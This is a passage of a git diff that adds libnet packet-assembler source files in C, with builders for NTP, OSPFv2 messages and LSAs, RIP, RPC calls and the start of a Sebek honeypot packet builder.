(HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, +u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, +u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, +u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, +u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, +u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_ntp_hdr ntp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_NTP_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_NTP_H); + if (p == NULL) + { + return (-1); + } + + memset(&ntp_hdr, 0, sizeof(ntp_hdr)); + ntp_hdr.ntp_li_vn_mode = LIBNET_NTP_DO_LI_VN_MODE( + leap_indicator, version, mode); + ntp_hdr.ntp_stratum = stratum; + ntp_hdr.ntp_poll = poll; + ntp_hdr.ntp_precision = precision; + ntp_hdr.ntp_delay.integer = htons(delay_int); + ntp_hdr.ntp_delay.fraction = htons(delay_frac); + ntp_hdr.ntp_dispersion.integer = htons(dispersion_int); + ntp_hdr.ntp_dispersion.fraction = htons(dispersion_frac); + ntp_hdr.ntp_reference_id = htonl(reference_id); + ntp_hdr.ntp_ref_ts.integer = htonl(ref_ts_int); + ntp_hdr.ntp_ref_ts.fraction = htonl(ref_ts_frac); + ntp_hdr.ntp_orig_ts.integer = htonl(orig_ts_int); + ntp_hdr.ntp_orig_ts.fraction = htonl(orig_ts_frac); + ntp_hdr.ntp_rec_ts.integer = htonl(rec_ts_int); + ntp_hdr.ntp_rec_ts.fraction = htonl(rec_ts_frac); + ntp_hdr.ntp_xmt_ts.integer = htonl(xmt_ts_int); + ntp_hdr.ntp_xmt_ts.fraction = htonl(xmt_ts_frac); + + n = libnet_pblock_append(l, p, (u_int8_t *)&ntp_hdr, LIBNET_NTP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_NTP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_ospf.c b/libnet/src/libnet_build_ospf.c new file mode 100644 index 0000000..a6a2535 --- /dev/null +++ b/libnet/src/libnet_build_ospf.c @@ -0,0 +1,568 @@ +/* + * $Id: libnet_build_ospf.c,v 1.12 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_build_ospf.c - OSPF packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com> + * Bindview Development + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id, +u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_ospf_hdr ospf_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_H + payload_s; + h = LIBNET_OSPF_H + payload_s + len; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_H); + if (p == NULL) + { + return (-1); + } + + memset(&ospf_hdr, 0, sizeof(ospf_hdr)); + ospf_hdr.ospf_v = 2; /* OSPF version 2 */ + ospf_hdr.ospf_type = type; /* Type of pkt */ + ospf_hdr.ospf_len = htons(h); /* Pkt len */ + ospf_hdr.ospf_rtr_id.s_addr = rtr_id; /* Router ID */ + ospf_hdr.ospf_area_id.s_addr = area_id; /* Area ID */ + ospf_hdr.ospf_sum = sum; + ospf_hdr.ospf_auth_type = htons(autype); /* Type of auth */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&ospf_hdr, LIBNET_OSPF_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_OSPF_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts, +u_int8_t priority, u_int32_t dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_ospf_hello_hdr hello_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_HELLO_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_HELLO_H); + if (p == NULL) + { + return (-1); + } + + memset(&hello_hdr, 0, sizeof(hello_hdr)); + hello_hdr.hello_nmask.s_addr = netmask; /* Netmask */ + hello_hdr.hello_intrvl = htons(interval); /* # seconds since last packet sent */ + hello_hdr.hello_opts = opts; /* OSPF_* options */ + hello_hdr.hello_rtr_pri = priority; /* If 0, can't be backup */ + hello_hdr.hello_dead_intvl = htonl(dead_int); /* Time til router is deemed down */ + hello_hdr.hello_des_rtr.s_addr = des_rtr; /* Networks designated router */ + hello_hdr.hello_bkup_rtr.s_addr = bkup_rtr; /* Networks backup router */ + /*hello_hdr.hello_nbr.s_addr = htonl(neighbor); */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&hello_hdr, LIBNET_OSPF_HELLO_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_OSPF_HELLO_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type, +u_int32_t seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_dbd_hdr dbd_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_DBD_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_DBD_H); + if (p == NULL) + { + return (-1); + } + + memset(&dbd_hdr, 0, sizeof(dbd_hdr)); + dbd_hdr.dbd_mtu_len = htons(dgram_len); /* Max length of IP packet IF can use */ + dbd_hdr.dbd_opts = opts; /* OSPF_* options */ + dbd_hdr.dbd_type = type; /* Type of exchange occuring */ + dbd_hdr.dbd_seq = htonl(seqnum); /* DBD sequence number */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&dbd_hdr, LIBNET_OSPF_DBD_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_OSPF_DBD_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsr(u_int32_t type, u_int lsid, u_int32_t advrtr, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_lsr_hdr lsr_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LSR_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSR_H); + if (p == NULL) + { + return (-1); + } + + memset(&lsr_hdr, 0, sizeof(lsr_hdr)); + lsr_hdr.lsr_type = htonl(type); /* Type of LS being requested */ + lsr_hdr.lsr_lsid = htonl(lsid); /* Link State ID */ + lsr_hdr.lsr_adrtr.s_addr = htonl(advrtr); /* Advertising router */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&lsr_hdr, LIBNET_OSPF_LSR_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_OSPF_LSR_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsu(u_int32_t num, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_lsu_hdr lh_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LSU_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSU_H); + if (p == NULL) + { + return (-1); + } + + memset(&lh_hdr, 0, sizeof(lh_hdr)); + lh_hdr.lsu_num = htonl(num); /* Number of LSAs that will be bcasted */ + + n = libnet_pblock_append(l, p, (u_int8_t *)&lh_hdr, LIBNET_OSPF_LSU_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_OSPF_LSU_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type, u_int lsid, +u_int32_t advrtr, u_int32_t seqnum, u_int16_t sum, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_lsa_hdr lsa_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LSA_H + payload_s; + h = len + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_OSPF_LSA_H); + if (p == NULL) + { + return (-1); + } + + memset(&lsa_hdr, 0, sizeof(lsa_hdr)); + lsa_hdr.lsa_age = htons(age); + lsa_hdr.lsa_opts = opts; + lsa_hdr.lsa_type = type; + lsa_hdr.lsa_id = htonl(lsid); + lsa_hdr.lsa_adv.s_addr = htonl(advrtr); + lsa_hdr.lsa_seq = htonl(seqnum); + lsa_hdr.lsa_sum = sum; + lsa_hdr.lsa_len = htons(h); + + n = libnet_pblock_append(l, p, (u_int8_t *)&lsa_hdr, LIBNET_OSPF_LSA_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_OSPF_LSA_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int32_t id, +u_int32_t data, u_int8_t type, u_int8_t tos, u_int16_t metric, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_rtr_lsa_hdr rtr_lsa_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LS_RTR_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_RTR_H); + if (p == NULL) + { + return (-1); + } + + memset(&rtr_lsa_hdr, 0, sizeof(rtr_lsa_hdr)); + rtr_lsa_hdr.rtr_flags = htons(flags); + rtr_lsa_hdr.rtr_num = htons(num); + rtr_lsa_hdr.rtr_link_id = htonl(id); + rtr_lsa_hdr.rtr_link_data = htonl(data); + rtr_lsa_hdr.rtr_type = type; + rtr_lsa_hdr.rtr_tos_num = tos; + rtr_lsa_hdr.rtr_metric = htons(metric); + + n = libnet_pblock_append(l, p, (u_int8_t *)&rtr_lsa_hdr, + LIBNET_OSPF_LS_RTR_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_LS_RTR_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int32_t rtrid, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_net_lsa_hdr net_lsa_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LS_NET_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_NET_H); + if (p == NULL) + { + return (-1); + } + + memset(&net_lsa_hdr, 0, sizeof(net_lsa_hdr)); + net_lsa_hdr.net_nmask.s_addr = htonl(nmask); + net_lsa_hdr.net_rtr_id = htonl(rtrid); + + n = libnet_pblock_append(l, p, (u_int8_t *)&net_lsa_hdr, + LIBNET_OSPF_LS_NET_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_LS_NET_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int32_t metric, u_int tos, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_sum_lsa_hdr sum_lsa_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LS_SUM_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_SUM_H); + if (p == NULL) + { + return (-1); + } + + memset(&sum_lsa_hdr, 0, sizeof(sum_lsa_hdr)); + sum_lsa_hdr.sum_nmask.s_addr = htonl(nmask); + sum_lsa_hdr.sum_metric = htonl(metric); + sum_lsa_hdr.sum_tos_metric = htonl(tos); + + n = libnet_pblock_append(l, p, (u_int8_t *)&sum_lsa_hdr, + LIBNET_OSPF_LS_SUM_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_LS_SUM_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + + +libnet_ptag_t +libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr, +u_int32_t tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_as_lsa_hdr as_lsa_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_OSPF_LS_AS_EXT_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_LS_AS_EXT_H); + if (p == NULL) + { + return (-1); + } + + memset(&as_lsa_hdr, 0, sizeof(as_lsa_hdr)); + as_lsa_hdr.as_nmask.s_addr = htonl(nmask); + as_lsa_hdr.as_metric = htonl(metric); + as_lsa_hdr.as_fwd_addr.s_addr = htonl(fwdaddr); + as_lsa_hdr.as_rte_tag = htonl(tag); + + n = libnet_pblock_append(l, p, (u_int8_t *)&as_lsa_hdr, + LIBNET_OSPF_LS_AS_EXT_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_LS_AS_EXT_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_rip.c b/libnet/src/libnet_build_rip.c new file mode 100644 index 0000000..bc2dcbf --- /dev/null +++ b/libnet/src/libnet_build_rip.c @@ -0,0 +1,96 @@ +/* + * $Id: libnet_build_rip.c,v 1.9 2004/04/13 17:32:28 mike Exp $ + * + * libnet + * libnet_build_rip.c - RIP packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, +u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, +u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_rip_hdr rip_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_RIP_H + payload_s; + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RIP_H); + if (p == NULL) + { + return (-1); + } + + memset(&rip_hdr, 0, sizeof(rip_hdr)); + rip_hdr.rip_cmd = cmd; + rip_hdr.rip_ver = version; + rip_hdr.rip_rd = htons(rd); + rip_hdr.rip_af = htons(af); + rip_hdr.rip_rt = htons(rt); + rip_hdr.rip_addr = htonl(addr); + rip_hdr.rip_mask = htonl(mask); + rip_hdr.rip_next_hop = htonl(next_hop); + rip_hdr.rip_metric = htonl(metric); + + n = libnet_pblock_append(l, p, (u_int8_t *)&rip_hdr, LIBNET_RIP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_RIP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_rpc.c b/libnet/src/libnet_build_rpc.c new file mode 100644 index 0000000..cf28c03 --- /dev/null +++ b/libnet/src/libnet_build_rpc.c @@ -0,0 +1,125 @@ +/* + * + * libnet + * libnet_build_rpc.c - RPC packet assembler + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Jason Damron <jdamron@stackheap.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num, +u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, +u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_rpc_call_tcp_hdr rpc_hdr; + + if (l == NULL) + { + return (-1); + } + + /* Credential and Verifier buffers not yet implemented. + * n = LIBNET_RPC_CALL_H + clength + vlength + payload_s; + */ + + if (rm) + { + n = LIBNET_RPC_CALL_TCP_H + payload_s; + } + else + { + n = LIBNET_RPC_CALL_H + payload_s; + } + + h = 0; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_RPC_CALL_H); + if (p == NULL) + { + return (-1); + } + + memset(&rpc_hdr, 0, sizeof(rpc_hdr)); + if (rm) + { + rpc_hdr.rpc_record_marking = htonl(rm + payload_s); + } + rpc_hdr.rpc_common.rpc_xid = htonl(xid); + rpc_hdr.rpc_common.rpc_type = LIBNET_RPC_CALL; + rpc_hdr.rpc_common.rpc_call.rpc_rpcvers = htonl(LIBNET_RPC_VERS); + rpc_hdr.rpc_common.rpc_call.rpc_prognum = htonl(prog_num); + rpc_hdr.rpc_common.rpc_call.rpc_vers = htonl(prog_vers); + rpc_hdr.rpc_common.rpc_call.rpc_procedure = htonl(procedure); + /* XXX Eventually should allow for opaque auth data. */ + rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_flavor= htonl(cflavor); + rpc_hdr.rpc_common.rpc_call.rpc_credentials.rpc_auth_length= htonl(clength); + rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_flavor = htonl(vflavor); + rpc_hdr.rpc_common.rpc_call.rpc_verifier.rpc_auth_length = htonl(vlength); + + if (rm) + { + n = libnet_pblock_append(l, p, (u_int8_t *)&rpc_hdr, + LIBNET_RPC_CALL_TCP_H); + } + else + { + n = libnet_pblock_append(l, p, (u_int8_t *)&rpc_hdr.rpc_common, + LIBNET_RPC_CALL_H); + } + + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + return (ptag ? ptag : libnet_pblock_update(l, p, h, + LIBNET_PBLOCK_RPC_CALL_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_build_sebek.c b/libnet/src/libnet_build_sebek.c new file mode 100644 index 0000000..fb7cafa --- /dev/null +++ b/libnet/src/libnet_build_sebek.c @@ -0,0 +1,95 @@ +/* + * libnet + * libnet_build_sebek.c - sebek packet assembler + * + * Copyright (c) 2004 Frederic Raynal <pappy@security-labs.org> + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_sebek(u_int32_t magic, u_int16_t version, u_int16_t type, +u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, +u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag) +{ + u_int32_t n; + libnet_pblock_t *p; + struct libnet_sebek_hdr sebek_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_SEBEK_H + payload_s; /* size of memory block */ + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_SEBEK_H); + if (p == NULL) + { + return (-1); + } + + memset(&sebek_hdr, 0, 